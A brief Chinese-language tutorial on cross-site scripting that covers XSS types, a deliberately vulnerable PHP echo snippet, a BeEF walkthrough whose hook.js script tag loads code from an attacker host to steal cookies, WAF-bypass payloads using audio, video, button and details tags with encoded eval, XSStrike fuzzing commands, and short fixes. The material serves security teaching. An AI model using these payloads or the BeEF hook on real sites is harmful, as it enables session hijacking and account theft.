XSS 漏洞
1. XSS 简介与危害
简介
- 跨站脚本攻击 XSS(Cross Site Scripting)
- 为了区分 CSS,所以命名 XSS 避免混淆
- 攻击方式:恶意攻击者往 Web 页面里插入恶意 Script 代码,XSS 就是使用 JS 作为恶意代码的攻击行为
危害
- 盗取各类用户账号,如网易账号、管理员账号,各大网站账号
- 控制企业数据,包括读取、篡改、添加、删除敏感数据
- 盗窃企业重要资料
- 非法转账
- 强制发送电子邮件
- 网站挂马
- 利用重定向语句控制受害者机器向其它网站发起攻击
- 窃取 cookie 的 sessionid,冒充登录。
2. 反射型与存储型 XSS
反射型
- 参数未验证,脚本在url中
<?php
echo $_GET['x'];
?>
访问 http://127.0.0.1/1.php?x=<script>alert(1)</script>
存储型
- 攻击数据存储在服务器上(数据库)
- 常见于留言板,备注,论坛
DOM 型
- 攻击数据存储在前端,以js形式触发
3. XSS 综合案例
案例 1
-
XSS 漏洞重现
-
使用 Beef 工具进行 XSS 漏洞利用
- 更新源 apt-update 然后安装beef apt install beef-xss
- beef-xss 获取beef面板和hook.js
[*] Web UI: http://127.0.0.1:3000/ui/panel [*] Hook: <script src="http://<IP>:3000/hook.js"></script> [*] Example: <script src="http://127.0.0.1:3000/hook.js"></script>
- 通过beef面板获取cookie和其它操作
局限
- 存在漏洞
- 浏览器版本问题
- 需要登录
- 防护措施如 WAF 等
- 如何触发漏洞(核心问题)
4. XSS 的绕过技巧与修复
注入技巧
-
标签语法替换
- 使用
audio
<audio src=x onerror=alert(47)> <audio src=x onerror=prompt(1);> <audio src=1 href=1 onerror=javascript:alert(1)></audio>
video
标签
<video src=x onerror=alert(47)> <video src=x onerror=prompt(1);>
button
标签等
<button onfocus=alert(1) autofocus> <button/onclick=alert(1) >xss</button>
- 使用
加密算法
- 使用细节元素
open
和ontoggle
<details open ontoggle=eval(String.fromCharCode(97,108,101,114,116,40,49,41)) >
97,108,101,114,116,40,49,41 = alert(1)
工具使用
-
XSStrike:绕过 WAF 的 XSS 扫描工具
- github: github.com/s0md3v/XSSt…
- 安装依赖
pip install -r requirements.txt
- fuzz 测试
python xsstrike.py -u "http://127.0.0.1/xss.php?x=1" --fuzzer
- 直接探测
-
bp 使用 xss-payload-list 字典绕过
修复方案
- cookie 添加 HttpOnly 属性 防止cookie调用
- WAF
- 代码输入、输出验证